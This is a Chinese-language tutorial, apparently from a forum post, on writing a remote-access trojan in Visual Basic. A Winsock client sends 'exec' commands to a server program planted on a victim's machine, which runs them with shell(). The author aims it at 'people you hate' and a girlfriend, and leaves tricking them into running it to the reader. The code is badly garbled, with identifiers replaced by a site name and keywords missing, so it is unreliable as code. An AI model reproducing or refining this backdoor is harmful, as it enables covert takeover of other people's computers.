vb編寫木馬程序
今天我為大家講如何用vb編寫"木馬"程序
木馬一般分為兩個主程序:一個是伺服器端的程序(server),另一個是客戶端程序(client),伺服器程序是給
攻擊對象用的,千萬不可用錯了----給自己種馬的人......^0^
客戶程序才是給自己用的,於是我們就用vb建立兩個程序,一個為伺服器端程序cockhorseserver,另一個為
客戶端程序cockhorseclient.
先在cockhorseclient程序中建立一個窗體,加載一個winsock控件,稱為tcpclient,再加上兩個文本框,用來
輸入伺服器的ip地址和端口號.另外還要建立一個按鈕,按下后可以對連接進行初始化.
代碼我寫下:
privatesuborgmand1_click
'調用connect方法,初始化連接.
bxwx.org=bxwx.org
bxwx.org=val(bxwx.org)'這是端口號,默認為100bxwx.org'和指定的ip相對的計算機相連接
bxwx.org=false
endsub
(在收到數據之後,就要對這些數據做出相應的處理,使用dataarrival事件,可以方便運載數據進操作.
privatesubtcpclient_dataarrival(byvalbytestotallong)
dimstrdatastrinbxwx.orgstrdata
strdata="testconnect"thebxwx.org="connectok"+vbnewline+localip":"+-bxwx.org+"orgputername:"+bxwx.org
bxwx.org=bxwx.org+vbnewline+"remoteis:"+-bxwx.org+"orgputername:"+bxwx.org
instr(trim(strdata),"closeok?")>0thebxwx.org
end
endibxwx.org=bxwx.org+vbnewline+bxwx.org+":"+strdata
endsub
endsub
這是這一段代碼
cockhorseclient程序的核心部分就是這些,下面我講cockhorseserver程序
cockhorseserver程序也是先建立一個窗體,也要加載一個winsock控件,(方便一些,我在同一個工程下建立這
個窗體).如果當cockhorseclient程序運行時,cockhorseclient程序就會對cockhorseserver發出連接請求,
為了完成這個連接任務,可以用connectionrequest事件來完成,然後就是具體的錯誤情況的表達.
代碼我打出來:
index=0then
intmax=intmax+1
loadtcpserver(intmax)
tcpserver(intmax).localport=0
tcpserver(intmax).acceptrequestid
orgbol_ip.additem(tcpserver(intmax).remotehostip)
orgbol_ip.text="填上你的恨的人的ip吧!"
tcpserver(intmax).orgnddata"testconnect"
end
呵呵.剛才忘記定義名稱了
它的效果是:在cockhorseclient程序被按下的時候,cockhorseserver程序的connectionrequest事件被觸發,
從而執行上面的程序,產生連接.
現在的cockhorseserver程序只能做連結,還不能處理cockhorseclient程序所發出的指令,我們還必需用
dataarrival事件.
代碼是這樣的:
privatesubtcpserver_dataarrival(indexinteger,byvalbytestotallong)
dimstrdatastring
dimcheck_blong
errorgogoerr_pro
tcpserver(index).getdatastrdata
check_blong=instr(trim(strdata),"exec")
check_blong>0then
strdata=trim(strdata)
strdata=right(bxwx.org(strdata)-4)
bxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+"要求執行下面的程序："+strdata
shell(strdata)
else
check_blong=instr(trim(strdata),"closeok")
check_blong>0then
tcpserver(index).close
orgbol_ip.removeltem(index-1)
bxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+"已經斷開！"
elsbxwx.org=tcpserver(index).remotehostibxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+strdata
end
endsub
end
err_pro:
err=53then
msgbox"所執行的程序的路徑有錯誤!",+tcpserver(index).remotehostip+"該程序在執行時被拒絕!"
tcpserver(index).orgnddata""
end
resumenext
endsub
這樣,cockhorseserver程序就完了,這就是一個最基本的木馬程序,你用它就可以把你想要黑的人的電腦搞定!至於怎麼讓mm運行你編寫的木馬服務端程序,那就是你的自己的事情啦!
好了.大概就是這樣.控件名稱呢.自己定義.我也好長時間沒碰vb了.呵呵